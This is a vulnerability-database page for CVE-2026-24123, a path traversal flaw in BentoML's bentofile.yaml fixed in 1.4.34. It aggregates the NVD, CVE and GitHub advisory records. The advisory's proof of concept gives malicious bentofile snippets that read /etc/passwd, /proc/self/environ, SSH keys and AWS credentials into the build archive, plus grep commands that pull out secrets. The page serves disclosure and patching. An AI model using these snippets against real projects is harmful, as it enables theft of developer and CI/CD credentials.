Vulnerability-Lookup

CVE-2026-24123 (GCVE-0-2026-24123)

Vulnerability from cvelistv5 – Published: 2026-01-26 22:14 – Updated: 2026-01-27 21:37

Title

BentoML has a Path Traversal via Bentofile Configuration

Summary

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML's `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue.

Severity ?

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/bentoml/BentoML/security/advis…	x_refsource_CONFIRM
	https://github.com/bentoml/BentoML/commit/84d08cf…	x_refsource_MISC
	https://github.com/bentoml/BentoML/releases/tag/v1.4.34	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	bentoml	BentoML	Affected: < 1.4.34

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-24123",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-27T21:36:54.247534Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-27T21:37:03.727Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "BentoML",
          "vendor": "bentoml",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.4.34"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML\u0027s `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-26T22:14:39.709Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf"
        },
        {
          "name": "https://github.com/bentoml/BentoML/commit/84d08cfeb40c5f2ce71b3d3444bbaa0fb16b5ca4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/bentoml/BentoML/commit/84d08cfeb40c5f2ce71b3d3444bbaa0fb16b5ca4"
        },
        {
          "name": "https://github.com/bentoml/BentoML/releases/tag/v1.4.34",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/bentoml/BentoML/releases/tag/v1.4.34"
        }
      ],
      "source": {
        "advisory": "GHSA-6r62-w2q3-48hf",
        "discovery": "UNKNOWN"
      },
      "title": "BentoML has a Path Traversal via Bentofile Configuration"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-24123",
    "datePublished": "2026-01-26T22:14:39.709Z",
    "dateReserved": "2026-01-21T18:38:22.473Z",
    "dateUpdated": "2026-01-27T21:37:03.727Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-24123\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-01-26T23:16:08.460\",\"lastModified\":\"2026-01-27T14:59:34.073\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML\u0027s `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N\",\"baseScore\":7.4,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":4.0}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"}]}],\"references\":[{\"url\":\"https://github.com/bentoml/BentoML/commit/84d08cfeb40c5f2ce71b3d3444bbaa0fb16b5ca4\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/bentoml/BentoML/releases/tag/v1.4.34\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf\",\"source\":\"security-advisories@github.com\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-24123\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-01-27T21:36:54.247534Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-01-27T21:36:59.309Z\"}}], \"cna\": {\"title\": \"BentoML has a Path Traversal via Bentofile Configuration\", \"source\": {\"advisory\": \"GHSA-6r62-w2q3-48hf\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 7.4, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"bentoml\", \"product\": \"BentoML\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 1.4.34\"}]}], \"references\": [{\"url\": \"https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf\", \"name\": \"https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/bentoml/BentoML/commit/84d08cfeb40c5f2ce71b3d3444bbaa0fb16b5ca4\", \"name\": \"https://github.com/bentoml/BentoML/commit/84d08cfeb40c5f2ce71b3d3444bbaa0fb16b5ca4\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/bentoml/BentoML/releases/tag/v1.4.34\", \"name\": \"https://github.com/bentoml/BentoML/releases/tag/v1.4.34\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML\u0027s `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-01-26T22:14:39.709Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-24123\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-01-27T21:37:03.727Z\", \"dateReserved\": \"2026-01-21T18:38:22.473Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-01-26T22:14:39.709Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-24123

Vulnerability from fkie_nvd - Published: 2026-01-26 23:16 - Updated: 2026-01-27 14:59

Severity ?

7.4 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/bentoml/BentoML/commit/84d08cfeb40c5f2ce71b3d3444bbaa0fb16b5ca4
	security-advisories@github.com	https://github.com/bentoml/BentoML/releases/tag/v1.4.34
	security-advisories@github.com	https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML\u0027s `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue."
    }
  ],
  "id": "CVE-2026-24123",
  "lastModified": "2026-01-27T14:59:34.073",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.4,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-01-26T23:16:08.460",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/bentoml/BentoML/commit/84d08cfeb40c5f2ce71b3d3444bbaa0fb16b5ca4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/bentoml/BentoML/releases/tag/v1.4.34"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-6R62-W2Q3-48HF

Vulnerability from github – Published: 2026-01-26 21:17 – Updated: 2026-01-26 21:17

Summary

BentoML has a Path Traversal via Bentofile Configuration

Details

Summary

BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.

Details

The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.

Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:

def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
    _path = os.path.expanduser(os.path.expandvars(filepath))
    if not os.path.isabs(_path) and ctx:
        _path = os.path.expanduser(os.path.join(ctx, filepath))
    if os.path.exists(_path):
        return os.path.realpath(_path)  # No path containment check
    raise FileNotFoundError(f"file {filepath} not found")

Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:

if build_config.description.startswith("file:"):
    file_name = build_config.description[5:].strip()
    if not ctx_path.joinpath(file_name).exists():
        raise InvalidArgument(f"File {file_name} does not exist.")
    shutil.copy(ctx_path.joinpath(file_name), bento_readme)  # Path traversal

All four vulnerable fields: - description: "file:../../../etc/passwd" → copied to README.md - docker.setup_script: "../../../etc/passwd" → copied to env/docker/setup_script - docker.dockerfile_template: "../../../secret" → copied to env/docker/Dockerfile.template - conda.environment_yml: "../../../etc/hosts" → copied to env/conda/environment.yml

Multiple path formats are supported, making exploitation trivial:

Format	`description`	`setup_script`	`dockerfile_template`	`environment_yml`
Absolute paths (`/etc/passwd`)	Yes	Yes	Yes	Yes
Tilde expansion (`~/.ssh/id_rsa`)	No	Yes	Yes	Yes
Env vars (`$HOME/.aws/credentials`)	No	Yes	Yes	Yes
Relative traversal (`../../../etc/passwd`)	Yes	Yes	Yes	Yes
Proc filesystem (`/proc/self/environ`)	Yes	Yes	Yes	Yes

The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().

The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).

PoC

Create a minimal service:

# service.py
import bentoml

@bentoml.service
class TestService:
    @bentoml.api
    def predict(self, text: str) -> str:
        return text

Create malicious bentofile.yaml. Multiple attack vectors are available:

Vector 1: Exfiltrate /etc/passwd via description field

service: "service.py:TestService"
description: "file:/etc/passwd"

Vector 2: Exfiltrate all environment variables (CI/CD secrets)

service: "service.py:TestService"
description: "file:/proc/self/environ"

Vector 3: Exfiltrate files using environment variable expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "$HOME/.aws/credentials"

Vector 4: Exfiltrate files using tilde expansion (docker fields only)

service: "service.py:TestService"
docker:
  dockerfile_template: "~/.ssh/id_rsa"

Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields support all path formats.

Run build:

$ bentoml build
Successfully built Bento(tag="test_service:abc123").

Verify exfiltration:

# For description field - check README.md
$ cat ~/bentoml/bentos/test_service/abc123/README.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

# For /proc/self/environ - extract CI/CD secrets
$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET"
AWS_SECRET_ACCESS_KEY=AKIA...
GITHUB_TOKEN=ghp_...

# For dockerfile_template - check Dockerfile.template
$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...

The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.

Impact

Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).

Attack scenarios: - Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated - CI/CD environment variable theft: Using file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, etc.), making this a single-payload method to steal all pipeline secrets. - BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel. - Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments

Severity ?

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24123"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T21:17:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nBentoML\u0027s `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.\n\n### Details\n\nThe vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.\n\n**Vulnerable function** in `src/bentoml/_internal/utils/filesystem.py:114-131`:\n\n```python\ndef resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -\u003e str:\n    _path = os.path.expanduser(os.path.expandvars(filepath))\n    if not os.path.isabs(_path) and ctx:\n        _path = os.path.expanduser(os.path.join(ctx, filepath))\n    if os.path.exists(_path):\n        return os.path.realpath(_path)  # No path containment check\n    raise FileNotFoundError(f\"file {filepath} not found\")\n```\n\n**Vulnerable code** in `src/bentoml/_internal/bento/bento.py:348-355`:\n\n```python\nif build_config.description.startswith(\"file:\"):\n    file_name = build_config.description[5:].strip()\n    if not ctx_path.joinpath(file_name).exists():\n        raise InvalidArgument(f\"File {file_name} does not exist.\")\n    shutil.copy(ctx_path.joinpath(file_name), bento_readme)  # Path traversal\n```\n\nAll four vulnerable fields:\n- `description: \"file:../../../etc/passwd\"` \u2192 copied to `README.md`\n- `docker.setup_script: \"../../../etc/passwd\"` \u2192 copied to `env/docker/setup_script`\n- `docker.dockerfile_template: \"../../../secret\"` \u2192 copied to `env/docker/Dockerfile.template`\n- `conda.environment_yml: \"../../../etc/hosts\"` \u2192 copied to `env/conda/environment.yml`\n\n**Multiple path formats are supported, making exploitation trivial:**\n\n| Format | `description` | `setup_script` | `dockerfile_template` | `environment_yml` |\n|--------|---------------|----------------|----------------------|-------------------|\n| Absolute paths (`/etc/passwd`) | Yes | Yes | Yes | Yes |\n| Tilde expansion (`~/.ssh/id_rsa`) | No | Yes | Yes | Yes |\n| Env vars (`$HOME/.aws/credentials`) | No | Yes | Yes | Yes |\n| Relative traversal (`../../../etc/passwd`) | Yes | Yes | Yes | Yes |\n| Proc filesystem (`/proc/self/environ`) | Yes | Yes | Yes | Yes |\n\nThe `description` field uses `pathlib.Path.joinpath()` directly, while other fields use `resolve_user_filepath()` which calls `os.path.expanduser()` and `os.path.expandvars()`.\n\nThe `/proc/self/environ` vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_PASSWORD`, etc.).\n\n### PoC\n\n1. Create a minimal service:\n\n```python\n# service.py\nimport bentoml\n\n@bentoml.service\nclass TestService:\n    @bentoml.api\n    def predict(self, text: str) -\u003e str:\n        return text\n```\n\n2. Create malicious `bentofile.yaml`. Multiple attack vectors are available:\n\n**Vector 1: Exfiltrate /etc/passwd via description field**\n```yaml\nservice: \"service.py:TestService\"\ndescription: \"file:/etc/passwd\"\n```\n\n**Vector 2: Exfiltrate all environment variables (CI/CD secrets)**\n```yaml\nservice: \"service.py:TestService\"\ndescription: \"file:/proc/self/environ\"\n```\n\n**Vector 3: Exfiltrate files using environment variable expansion (docker fields only)**\n```yaml\nservice: \"service.py:TestService\"\ndocker:\n  dockerfile_template: \"$HOME/.aws/credentials\"\n```\n\n**Vector 4: Exfiltrate files using tilde expansion (docker fields only)**\n```yaml\nservice: \"service.py:TestService\"\ndocker:\n  dockerfile_template: \"~/.ssh/id_rsa\"\n```\n\nNote: The `description` field does not support `~` or `$VAR` expansion. Use absolute paths or relative traversal for `description`. The `docker.*` and `conda.*` fields support all path formats.\n\n3. Run build:\n\n```bash\n$ bentoml build\nSuccessfully built Bento(tag=\"test_service:abc123\").\n```\n\n4. Verify exfiltration:\n\n```bash\n# For description field - check README.md\n$ cat ~/bentoml/bentos/test_service/abc123/README.md\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n\n# For /proc/self/environ - extract CI/CD secrets\n$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr \u0027\\0\u0027 \u0027\\n\u0027 | grep -E \"KEY|TOKEN|SECRET\"\nAWS_SECRET_ACCESS_KEY=AKIA...\nGITHUB_TOKEN=ghp_...\n\n# For dockerfile_template - check Dockerfile.template\n$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template\n[default]\naws_access_key_id = AKIA...\naws_secret_access_key = ...\n```\n\nThe exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.\n\n### Impact\n\n**Who is impacted:** Any user who runs `bentoml build` on an untrusted `bentofile.yaml` (e.g., cloned from a malicious repository).\n\n**Attack scenarios:**\n- **Supply chain attack:** Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated\n- **CI/CD environment variable theft:** Using `file:/proc/self/environ`, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_URL`, etc.), making this a single-payload method to steal all pipeline secrets.\n- **BentoCloud exfiltration:** When victims push compromised bentos to BentoCloud (`bentoml push`), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel.\n- **Data theft:** Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments",
  "id": "GHSA-6r62-w2q3-48hf",
  "modified": "2026-01-26T21:17:16Z",
  "published": "2026-01-26T21:17:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/commit/84d08cfeb40c5f2ce71b3d3444bbaa0fb16b5ca4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/releases/tag/v1.4.34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML has a Path Traversal via Bentofile Configuration"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-24123 (GCVE-0-2026-24123)

FKIE_CVE-2026-24123

GHSA-6R62-W2Q3-48HF

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature